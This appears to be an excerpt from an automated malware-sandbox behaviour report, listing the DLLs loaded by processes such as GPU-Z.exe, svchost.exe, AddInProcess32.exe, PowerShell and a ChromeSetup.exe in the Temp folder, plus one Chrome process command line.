Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2000,i,5810222806604600449,1391955646674968393,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: coremessaging.dll
